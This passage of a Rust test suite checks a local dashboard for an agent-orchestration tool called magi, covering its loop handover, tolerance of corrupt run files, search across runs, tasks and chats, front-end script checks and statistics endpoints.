14045 .is_some_and(|e| e.contains("read-only file system")),
14046 "the phone is where a loop that died at 3am is visible: {view}"
14047 );
14048
14049 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14052 assert_eq!(again.status, 200, "{}", again.body);
14053 assert!(
14054 again.json()["last_error"]
14055 .as_str()
14056 .is_none_or(|e| !e.contains("read-only file system")),
14057 "a fresh start does not keep showing why the last one died: {}",
14058 again.body
14059 );
14060 }
14061
14062 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
14074 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
14075 let home = TempDir::new().expect("temp home");
14076 let runs = home.path().join("runs");
14077 std::fs::create_dir_all(&runs).expect("runs dir");
14078 let ui = Ui::new(
14079 Queue::at(home.path().join("queue")),
14080 Questions::at(home.path().join("questions")),
14081 Talks::at(home.path().join("talks")),
14082 runs,
14083 home.path().to_path_buf(),
14084 PathBuf::from("/repo/magi"),
14085 )
14086 .with_worktrees_root(home.path().join("wt"))
14087 .with_launch(launch_knocking_on_the_way_out);
14088 let looping = ui.looping();
14089 let turns = ui.turns();
14090 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14091 .await
14092 .expect("bind loopback");
14093 let addr = listener.local_addr().expect("local addr");
14094 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
14095 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14096
14097 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
14098 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
14099
14100 let bound = std::sync::Mutex::new(None);
14115 hand_over(
14116 home.path(),
14117 &looping,
14118 &turns,
14119 &|_: &[String]| Duration::from_secs(5),
14120 served,
14121 |_| {
14122 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
14123 let attempt = loop {
14124 match std::net::TcpListener::bind(addr) {
14125 Ok(l) => {
14126 drop(l);
14127 break Ok(());
14128 }
14129 Err(e)
14130 if e.kind() == std::io::ErrorKind::AddrInUse
14131 && std::time::Instant::now() < deadline =>
14132 {
14133 std::thread::sleep(std::time::Duration::from_millis(10));
14134 }
14135 Err(e) => break Err(e.to_string()),
14136 }
14137 };
14138 *bound.lock().expect("bound") = Some(attempt);
14139 Ok(1)
14140 },
14141 )
14142 .await
14143 .expect("hand over");
14144
14145 assert_eq!(
14146 *PARK_HEARD.lock().expect("park heard"),
14147 Some(200),
14148 "the deck must answer while the loop is parking"
14149 );
14150 let attempt = bound
14151 .lock()
14152 .expect("bound")
14153 .take()
14154 .expect("the successor was started");
14155 assert!(
14156 attempt.is_ok(),
14157 "and the address must be free by the time it is: {attempt:?}"
14158 );
14159 }
14160
14161 #[tokio::test]
14162 async fn a_newer_daemon_status_file_still_renders() {
14163 let f = Fixture::start().await;
14164 std::fs::write(
14167 f.home.path().join("daemon.json"),
14168 serde_json::json!({
14169 "schema": 2,
14170 "updated_at": Timestamp::now().to_string(),
14171 "idle": true,
14172 "surprise": { "nested": [1, 2, 3] },
14173 })
14174 .to_string(),
14175 )
14176 .expect("write daemon.json");
14177
14178 let health = f.get("/api/health").await;
14179
14180 assert_eq!(health.status, 200);
14181 assert_eq!(health.json()["daemon"]["running"], true);
14182 }
14183
14184 #[tokio::test]
14185 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
14186 let f = Fixture::start().await;
14187 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14188 let broken = f.runs().join("20260902-140502-bad");
14189 std::fs::create_dir_all(&broken).expect("run dir");
14190 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14191
14192 let list = f.get("/api/runs").await;
14193 let detail = f.get("/api/runs/20260902-140502-bad").await;
14194
14195 assert_eq!(list.status, 200);
14196 let listed = list.json();
14197 let ids: Vec<&str> = listed
14198 .as_array()
14199 .expect("an array")
14200 .iter()
14201 .map(|r| r["id"].as_str().expect("an id"))
14202 .collect();
14203 assert_eq!(
14204 ids,
14205 vec!["20260902-140501-good"],
14206 "one unreadable run must not cost the operator the whole history"
14207 );
14208 assert_eq!(detail.status, 500);
14209 assert!(
14210 detail.json()["error"]
14211 .as_str()
14212 .is_some_and(|e| e.contains("run.json")),
14213 "the failure names the file to look at: {}",
14214 detail.body
14215 );
14216 let health = f.get("/api/health").await;
14220 assert_eq!(health.json()["runs_unreadable"], 1);
14221 }
14222
14223 #[tokio::test]
14225 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
14226 let f = Fixture::start().await;
14227 let runs = f.runs();
14228 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
14229 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
14230 let path = runs.join("20260902-140502-bbbb").join("run.json");
14233 let mut v: serde_json::Value =
14234 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14235 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
14236 std::fs::write(&path, v.to_string()).unwrap();
14237 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
14238 std::fs::write(
14239 runs.join("20260902-140503-cccc").join("run.json"),
14240 "{ not json",
14241 )
14242 .unwrap();
14243
14244 let res = f.get("/api/search?scope=runs&q=quokka").await;
14245 assert_eq!(res.status, 200, "{}", res.body);
14246 let v = res.json();
14247 assert_eq!(v["total"], 1, "{v}");
14248 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
14249 assert_eq!(v["hits"][0]["field"], "text");
14250 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
14251 let parts = v["hits"][0]["snippet"].as_array().unwrap();
14252 assert!(
14253 parts
14254 .iter()
14255 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
14256 "{v}"
14257 );
14258 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
14259 assert_eq!(
14260 flat, "The Quokka leaks across threads",
14261 "whitespace is collapsed"
14262 );
14263
14264 let both = f
14266 .get("/api/search?scope=runs&q=MOBILE%20quokka")
14267 .await
14268 .json();
14269 assert_eq!(both["total"], 1, "{both}");
14270 let neither = f
14271 .get("/api/search?scope=runs&q=quokka%20zebra")
14272 .await
14273 .json();
14274 assert_eq!(neither["total"], 0, "{neither}");
14275 let stmt = f
14277 .get("/api/search?scope=runs&q=mobile%20first")
14278 .await
14279 .json();
14280 assert_eq!(stmt["total"], 2, "{stmt}");
14281 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
14282 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
14283 }
14284
14285 #[test]
14286 fn snippet_ignores_terms_longer_than_the_field() {
14287 let terms = ["ok".to_owned(), "elephant".to_owned()];
14288 let parts = snippet_of("ok", &terms);
14289 assert_eq!(
14290 parts,
14291 vec![SnippetPart {
14292 text: "ok".to_owned(),
14293 hit: true
14294 }]
14295 );
14296 }
14297
14298 #[test]
14299 fn snippet_marks_matches_longer_than_the_window() {
14300 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
14301 let hit_len = |parts: &[SnippetPart]| -> usize {
14302 parts
14303 .iter()
14304 .filter(|p| p.hit)
14305 .map(|p| p.text.chars().count())
14306 .sum()
14307 };
14308 let total =
14309 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
14310
14311 let long = "a".repeat(120);
14312 let parts = snippet_of(&long, std::slice::from_ref(&long));
14313 assert!(hit_len(&parts) > 0, "{parts:?}");
14314 assert!(total(&parts) <= cap);
14315
14316 let ja = "あ".repeat(130);
14317 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
14318 assert!(hit_len(&parts) > 0, "{parts:?}");
14319 assert!(total(&parts) <= cap);
14320
14321 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
14323 let term = format!("ab{}", "c".repeat(100));
14324 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
14325 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
14326 assert!(total(&parts) <= cap);
14327
14328 let text = format!("{}z", "a".repeat(119));
14330 let parts = snippet_of(&text, &["a".repeat(120)]);
14331 assert_eq!(hit_len(&parts), 0, "{parts:?}");
14332 }
14333
14334 #[tokio::test]
14335 async fn search_caps_hits_and_snippet_length() {
14336 let f = Fixture::start().await;
14337 let runs = f.runs();
14338 for n in 0..(SEARCH_MAX_HITS + 5) {
14339 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
14340 }
14341 let v = f.get("/api/search?scope=runs&q=web").await.json();
14342 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
14343 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
14344 assert_eq!(v["truncated"], true);
14345 assert!(
14347 v["hits"]
14348 .as_array()
14349 .unwrap()
14350 .iter()
14351 .all(|h| h["run"]["status"] == "merged")
14352 );
14353
14354 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
14355 let parts = snippet_of(&long, &["needle".to_owned()]);
14356 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
14357 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
14358 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
14359 }
14360
14361 #[tokio::test]
14362 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
14363 let f = Fixture::start().await;
14364 let queue = f.queue();
14365 let mut t = Task::new(
14366 "short title".to_owned(),
14367 "line one\nthe hidden Armadillo detail".to_owned(),
14368 PathBuf::from("/repo/magi"),
14369 Source::Agent {
14370 run: "r1".to_owned(),
14371 node: "chat".to_owned(),
14372 },
14373 );
14374 t.last_error = Some("disk full on /tmp".to_owned());
14375 queue.put(&mut t).expect("file the task");
14376
14377 for (q, want) in [
14378 ("armadillo", 1),
14379 ("disk%20FULL", 1),
14380 ("chat", 1),
14381 ("queued", 1),
14382 ("short%20nothing", 0),
14383 ] {
14384 let v = f
14385 .get(&format!("/api/search?scope=tasks&q={q}"))
14386 .await
14387 .json();
14388 assert_eq!(v["total"], want, "{q}: {v}");
14389 }
14390 for bad in [
14391 "/api/search?scope=tasks&q=",
14392 "/api/search?scope=tasks&q=%20",
14393 "/api/search?scope=chats&q=",
14394 "/api/search?scope=chats&q=%20",
14395 "/api/search?scope=nope&q=a",
14396 "/api/search?q=a",
14397 ] {
14398 assert_eq!(f.get(bad).await.status, 400, "{bad}");
14399 }
14400 }
14401
14402 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
14404 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
14405 .expect("seat value");
14406 let turns: Vec<serde_json::Value> = turns
14407 .iter()
14408 .map(|(who, body)| {
14409 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
14410 })
14411 .collect();
14412 let doc = serde_json::json!({
14413 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
14414 "status": status, "turns": turns,
14415 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
14416 "seat": seat,
14417 });
14418 let dir = f.home.path().join("talks");
14419 std::fs::create_dir_all(&dir).expect("talks dir");
14420 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
14421 }
14422
14423 #[tokio::test]
14424 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
14425 let f = Fixture::start().await;
14426 write_talk(
14427 &f,
14428 "20260901-000001-aaaa",
14429 "open",
14430 &[
14431 (
14432 "operator",
14433 "\n Why does the Pangolin cache expire?\nsecond line",
14434 ),
14435 ("agent", "Because the TTL is thirty seconds."),
14436 ],
14437 );
14438 write_talk(
14439 &f,
14440 "20260901-000002-bbbb",
14441 "closed",
14442 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
14443 );
14444 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
14445
14446 let search = |q: &'static str| {
14447 let f = &f;
14448 async move {
14449 f.get(&format!("/api/search?scope=chats&q={q}"))
14450 .await
14451 .json()
14452 }
14453 };
14454
14455 let v = search("PANGOLIN").await;
14456 assert_eq!(v["scope"], "chats");
14457 assert_eq!(v["total"], 1, "{v}");
14458 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
14459 assert_eq!(v["hits"][0]["field"], "title");
14460 assert_eq!(v["unreadable"], 1, "{v}");
14461 let marked: Vec<&str> = v["hits"][0]["snippet"]
14462 .as_array()
14463 .unwrap()
14464 .iter()
14465 .filter(|p| p["hit"] == true)
14466 .map(|p| p["text"].as_str().unwrap())
14467 .collect();
14468 assert_eq!(marked, ["Pangolin"]);
14469
14470 let v = search("zebra").await;
14472 assert_eq!(v["total"], 1, "{v}");
14473 assert_eq!(v["hits"][0]["field"], "agent");
14474 assert_eq!(search("pangolin%20thirty").await["total"], 1);
14476 assert_eq!(search("pangolin%20zebra").await["total"], 0);
14477 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
14479 assert_eq!(search(q).await["total"], 0, "{q}");
14480 }
14481 assert_eq!(search("second").await["hits"][0]["field"], "operator");
14483 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
14485
14486 let v = f.get("/api/search?scope=nope&q=a").await;
14487 assert_eq!(v.status, 400);
14488 assert!(
14489 v.body.contains("scope must be runs, tasks or chats"),
14490 "{}",
14491 v.body
14492 );
14493 }
14494
14495 #[test]
14496 fn a_question_card_links_a_task_id_to_the_task_page() {
14497 let start = APP_JS
14498 .find("function updateAskCard(")
14499 .expect("updateAskCard exists");
14500 let body = &APP_JS[start..];
14501 let body = &body[..body.find("\n}\n").expect("function end")];
14502 assert!(body.contains("question.run_is_task"));
14503 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
14504 assert!(body.contains("`#/runs/${question.run}`"));
14505 assert!(body.contains("\"task\" : \"run\""));
14506 }
14507
14508 #[test]
14509 fn plain_text_message_surfaces_go_through_linkify() {
14510 assert!(APP_JS.contains("function linkify("));
14511 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
14512 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
14513 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
14514 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
14515 assert!(!APP_JS.contains("innerHTML = text"));
14516 }
14517
14518 #[test]
14519 fn implementation_rate_views_keep_independent_samples() {
14520 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
14521 let a = stats::AgentStats {
14522 competitive_entered: competitive_n,
14523 competitive_wins: usize::from(competitive_n > 0),
14524 solo_entered: solo_n,
14525 solo_adopted: 2 * usize::from(solo_n > 0),
14526 ..Default::default()
14527 };
14528 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
14529 for (key, n, numerator) in [
14530 ("competitive_win_rate", competitive_n, a.competitive_wins),
14531 ("solo_adoption_rate", solo_n, a.solo_adopted),
14532 ] {
14533 if n == 0 {
14534 assert!(v[key].is_null());
14535 } else {
14536 assert_eq!(v[key]["denominator"], n);
14537 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
14538 }
14539 }
14540 }
14541 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
14542 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
14543 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
14544 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14545 }
14546
14547 #[test]
14548 fn stats_bars_share_one_id_keyed_plan() {
14549 let start = APP_JS
14550 .find("function statsBarRows(")
14551 .expect("statsBarRows exists");
14552 let body = &APP_JS[start..];
14553 let body = &body[..body.find("\n}\n").expect("function end")];
14554 assert!(body.contains("statsBarPlan(rows)"));
14555 assert!(body.contains("statsAgentTone(row.agent)"));
14556 assert!(!body.contains("candTone(i)"));
14557 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14558 for root in [
14559 "stats-agents-bars",
14560 "stats-solo-bars",
14561 "stats-reviewers-bars",
14562 ] {
14563 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
14564 }
14565 }
14566
14567 #[test]
14568 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
14569 let start = APP_JS
14570 .find("function renderStatsReviewerScatter(")
14571 .expect("renderStatsReviewerScatter exists");
14572 let body = &APP_JS[start..];
14573 let body = &body[..body.find("\n}\n").expect("function end")];
14574 assert!(body.contains("statsScatterPlan(reviewers)"));
14575 assert!(body.contains("statsAgentTone(d.agent)"));
14576 assert!(APP_JS.contains("function statsScatterPlan("));
14577 assert!(
14578 APP_JS.contains("d.submitted < STATS_LOW_N")
14579 || APP_JS.contains("r.submitted < STATS_LOW_N")
14580 );
14581 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
14582 assert!(APP_CSS.contains(".precision-scatter"));
14583 }
14584
14585 #[test]
14586 fn advisor_reflection_is_drawn_as_stacked_segments() {
14587 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
14588 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
14589 let html = include_str!("../assets/ui/index.html");
14590 assert!(html.contains("Approximate"));
14591 for label in ["reflected strongly", "faint", "no proposal"] {
14592 assert!(html.contains(label));
14593 }
14594 let css = include_str!("../assets/ui/app.css");
14595 for c in ["refl-strong", "refl-faint", "refl-absent"] {
14596 assert!(css.contains(&format!(".{c} {{")));
14597 }
14598 }
14599
14600 #[test]
14601 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
14602 assert!(APP_JS.contains("function statsDailyPlan("));
14603 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
14604 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
14605 }
14606
14607 #[test]
14608 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
14609 let start = APP_JS
14610 .find("function scheduleSearch(")
14611 .expect("scheduleSearch exists");
14612 let body = &APP_JS[start..];
14613 let body = &body[..body.find("\n}\n").expect("function end")];
14614 assert!(body.contains("s.seq += 1"));
14615 }
14616
14617 #[tokio::test]
14622 async fn stats_runs_unreadable_matches_health() {
14623 let f = Fixture::start().await;
14624 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14625 let broken = f.runs().join("20260902-140502-bad");
14626 std::fs::create_dir_all(&broken).expect("run dir");
14627 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14628
14629 let stats = f.get("/api/stats").await;
14630 let health = f.get("/api/health").await;
14631
14632 assert_eq!(stats.status, 200);
14633 assert_eq!(stats.json()["totals"]["runs"], 1);
14634 assert_eq!(stats.json()["runs_unreadable"], 1);
14635 assert_eq!(
14636 stats.json()["runs_unreadable"],
14637 health.json()["runs_unreadable"],
14638 "the dashboard and /api/health must never disagree about how many \
14639 runs could not be read"
14640 );
14641 }
14642
14643 #[tokio::test]
14644 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
14645 let f = Fixture::start().await;
14646 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14647 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
14648 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
14649
14650 let totals = &f.get("/api/stats").await.json()["totals"];
14651 assert_eq!(totals["runs"], 3);
14652 assert_eq!(totals["merged"], 1);
14653 assert_eq!(totals["stalled"], 1);
14654 assert_eq!(totals["in_progress"], 1);
14655 assert_eq!(totals["blocked"], 0);
14658 assert_eq!(totals["ready"], 0);
14659 }
14660
14661 #[tokio::test]
14662 async fn stats_advisors_report_proposals_and_reflection() {
14663 use crate::advise::{Advice, AdvisorRecord, Reflection};
14664 use crate::verdict::Proposal;
14665
14666 let f = Fixture::start().await;
14667 let mut state = RunState::new(
14668 PathBuf::from("/repo/magi"),
14669 "main".to_owned(),
14670 "0123456789abcdef".to_owned(),
14671 "task".to_owned(),
14672 Config::default(),
14673 );
14674 state.id = "20260902-140501-a".to_owned();
14675 state.status = RunStatus::Merged;
14676 state.advice = Some(Advice {
14677 records: vec![
14678 AdvisorRecord {
14679 seat: "advisor-1".to_owned(),
14680 agent: "alpha".to_owned(),
14681 proposal: Some(Proposal {
14682 approach: "do it".to_owned(),
14683 key_tradeoff: "speed over memory".to_owned(),
14684 risks: Vec::new(),
14685 touches: Vec::new(),
14686 why_not_naive: "breaks under load".to_owned(),
14687 }),
14688 error: None,
14689 duration_ms: 0,
14690 reflection: Reflection::Strong,
14691 },
14692 AdvisorRecord {
14693 seat: "advisor-2".to_owned(),
14694 agent: "alpha".to_owned(),
14695 proposal: None,
14696 error: Some("timed out".to_owned()),
14697 duration_ms: 0,
14698 reflection: Reflection::Absent,
14699 },
14700 ],
14701 synthesis: Some("blended brief".to_owned()),
14702 });
14703 let dir = f.runs().join(&state.id);
14704 std::fs::create_dir_all(&dir).expect("run dir");
14705 std::fs::write(
14706 dir.join("run.json"),
14707 serde_json::to_string_pretty(&state).expect("serialize run"),
14708 )
14709 .expect("write run.json");
14710
14711 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
14713 let alpha = advisors
14714 .as_array()
14715 .expect("an array")
14716 .iter()
14717 .find(|a| a["agent"] == "alpha")
14718 .expect("alpha row");
14719 assert_eq!(alpha["seated"], 2);
14720 assert_eq!(alpha["proposed"], 1);
14721 assert_eq!(alpha["absent"], 1);
14722 assert_eq!(alpha["strong"], 1);
14723 assert_eq!(alpha["faint"], 0);
14724 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
14725 }
14726
14727 #[tokio::test]
14728 async fn stats_hides_agents_outside_the_roster_unless_all() {
14729 use crate::run::Candidate;
14730 let repo = TempDir::new().expect("repo dir");
14731 std::fs::write(
14732 repo.path().join("magi.toml"),
14733 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
14734 )
14735 .expect("magi.toml");
14736 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
14737 let mut state = RunState::new(
14738 PathBuf::from("/repo/magi"),
14739 "main".to_owned(),
14740 "0123456789abcdef".to_owned(),
14741 "task".to_owned(),
14742 Config::default(),
14743 );
14744 state.id = "20260902-140501-a".to_owned();
14745 state.status = RunStatus::Merged;
14746 for (label, agent) in [('A', "keep"), ('B', "retired")] {
14747 let mut c: Candidate = serde_json::from_value(serde_json::json!({
14748 "index": 0, "label": label.to_string(), "agent": agent,
14749 "branch": "b", "worktree": "/w",
14750 }))
14751 .expect("candidate");
14752 c.label = label;
14753 state.candidates.push(c);
14754 }
14755 let dir = f.runs().join(&state.id);
14756 std::fs::create_dir_all(&dir).expect("run dir");
14757 std::fs::write(
14758 dir.join("run.json"),
14759 serde_json::to_string_pretty(&state).expect("serialize run"),
14760 )
14761 .expect("write run.json");
14762
14763 let agents_of = |v: &serde_json::Value| -> Vec<String> {
14764 v["agents"]
14765 .as_array()
14766 .expect("array")
14767 .iter()
14768 .map(|a| a["agent"].as_str().unwrap().to_owned())
14769 .collect()
14770 };
14771 let hidden = f.get("/api/stats").await.json();
14772 assert_eq!(agents_of(&hidden), ["keep"]);
14773 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
14774 assert_eq!(hidden["totals"]["runs"], 1);
14775
14776 let all = f.get("/api/stats?all=true").await.json();
14777 assert_eq!(agents_of(&all).len(), 2);
14778 assert_eq!(all["retired_hidden"], serde_json::json!([]));
14779 let keep_agent = all["agents"]
14781 .as_array()
14782 .unwrap()
14783 .iter()
14784 .find(|a| a["agent"] == "keep")
14785 .unwrap();
14786 assert_eq!(keep_agent["competitive_entered"], 1);
14787 assert_eq!(keep_agent["competitive_wins"], 0);
14788 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
14789 assert_eq!(keep_agent["solo_entered"], 0);
14790 assert_eq!(keep_agent["solo_adopted"], 0);
14791 assert!(keep_agent["solo_adoption_rate"].is_null());
14792 }
14793
14794 #[tokio::test]
14795 async fn stats_release_bumps_split_clean_from_attention() {
14796 use crate::run::ReleaseBump;
14797
14798 let f = Fixture::start().await;
14799
14800 let mut clean = RunState::new(
14801 PathBuf::from("/repo/magi"),
14802 "main".to_owned(),
14803 "0123456789abcdef".to_owned(),
14804 "task".to_owned(),
14805 Config::default(),
14806 );
14807 clean.id = "20260902-140501-a".to_owned();
14808 clean.status = RunStatus::Merged;
14809 clean.release_bump = Some(ReleaseBump {
14810 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
14811 version: Some("1.0.0".to_owned()),
14812 automerge_enabled: true,
14813 merged_directly: false,
14814 local: false,
14815 release: None,
14816 problem: None,
14817 action_required: None,
14818 });
14819
14820 let mut blocked = RunState::new(
14821 PathBuf::from("/repo/magi"),
14822 "main".to_owned(),
14823 "0123456789abcdef".to_owned(),
14824 "task".to_owned(),
14825 Config::default(),
14826 );
14827 blocked.id = "20260902-140502-b".to_owned();
14828 blocked.status = RunStatus::Merged;
14829 blocked.release_bump = Some(ReleaseBump {
14830 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
14831 version: Some("1.0.1".to_owned()),
14832 automerge_enabled: false,
14833 merged_directly: false,
14834 local: false,
14835 release: None,
14836 problem: Some("checks red".to_owned()),
14837 action_required: Some("look at the PR".to_owned()),
14838 });
14839
14840 for state in [&clean, &blocked] {
14841 let dir = f.runs().join(&state.id);
14842 std::fs::create_dir_all(&dir).expect("run dir");
14843 std::fs::write(
14844 dir.join("run.json"),
14845 serde_json::to_string_pretty(state).expect("serialize run"),
14846 )
14847 .expect("write run.json");
14848 }
14849
14850 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14851 assert_eq!(bumps["merged"], 2);
14852 assert_eq!(bumps["recorded"], 2);
14853 assert_eq!(bumps["pr_opened"], 2);
14854 assert_eq!(bumps["automerge_enabled"], 1);
14855 assert_eq!(bumps["needs_attention"], 1);
14856 assert_eq!(bumps["clean"], 1);
14857 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
14858 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
14859 }
14860
14861 #[tokio::test]
14862 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
14863 let f = Fixture::start().await;
14864 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14865
14866 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14867 assert_eq!(bumps["merged"], 1);
14868 assert_eq!(bumps["recorded"], 0);
14869 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
14872 assert_eq!(bumps["automerge_rate"], Value::Null);
14875 assert_eq!(bumps["attention_rate"], Value::Null);
14876 }
14877
14878 #[tokio::test]
14879 async fn stats_queue_counts_come_from_the_live_queue() {
14880 let f = Fixture::start().await;
14881 let q = f.queue();
14882 let mut queued = Task::new(
14883 "queued task".to_owned(),
14884 "do it".to_owned(),
14885 PathBuf::from("/repo"),
14886 Source::Human,
14887 );
14888 q.put(&mut queued).expect("put queued");
14889 let mut held = Task::new(
14890 "held task".to_owned(),
14891 "do it later".to_owned(),
14892 PathBuf::from("/repo"),
14893 Source::Human,
14894 );
14895 held.hold_machine(Some("out of attempts".to_owned()));
14896 q.put(&mut held).expect("put held");
14897
14898 let queue = f.get("/api/stats").await.json()["queue"].clone();
14899 assert_eq!(queue["queued"], 1);
14900 assert_eq!(queue["held"], 1);
14901 assert_eq!(queue["running"], 0);
14902 assert_eq!(queue["done"], 0);
14903 assert_eq!(queue["failed"], 0);
14904 assert_eq!(queue["blocked"], 0);
14905 }
14906
14907 #[tokio::test]
14908 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
14909 let f = Fixture::start().await;
14910 let stats = f.get("/api/stats").await;
14911 assert_eq!(stats.status, 200);
14912 assert_eq!(stats.json()["totals"]["runs"], 0);
14913 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
14914 assert_eq!(stats.json()["runs_unreadable"], 0);
14915 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
14916 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
14917 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
14918 assert_eq!(stats.json()["repo"], Value::Null);
14919 }
14920
14921 #[tokio::test]
14922 async fn stats_lists_every_repository_with_runs_recorded() {
14923 let f = Fixture::start().await;
14924 write_run_repo(
14925 &f.runs(),
14926 "20260902-140501-a",
14927 RunStatus::Merged,
14928 "/repos/a",
14929 );
14930 write_run_repo(
14931 &f.runs(),
14932 "20260902-140502-b",
14933 RunStatus::Merged,
14934 "/repos/a",
14935 );
14936 write_run_repo(
14937 &f.runs(),
14938 "20260902-140503-c",
14939 RunStatus::Blocked,
14940 "/repos/b",
14941 );
14942
14943 let stats = f.get("/api/stats").await;
14944 assert_eq!(stats.status, 200);
14945 assert_eq!(stats.json()["totals"]["runs"], 3);
14947 assert_eq!(stats.json()["repo"], Value::Null);
14948
14949 let repos = stats.json()["repos"].clone();
14950 let repos = repos.as_array().unwrap();
14951 assert_eq!(repos.len(), 2);
14952 assert_eq!(repos[0]["repo"], "/repos/a");
14954 assert_eq!(repos[0]["name"], "a");
14955 assert_eq!(repos[0]["runs"], 2);
14956 assert_eq!(repos[1]["repo"], "/repos/b");
14957 assert_eq!(repos[1]["runs"], 1);
14958 }
14959
14960 #[tokio::test]
14961 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
14962 let f = Fixture::start().await;
14963 write_run_repo(
14964 &f.runs(),
14965 "20260902-140501-a",
14966 RunStatus::Merged,
14967 "/repos/a",
14968 );
14969 write_run_repo(
14970 &f.runs(),
14971 "20260902-140502-b",
14972 RunStatus::Blocked,
14973 "/repos/b",
14974 );
14975
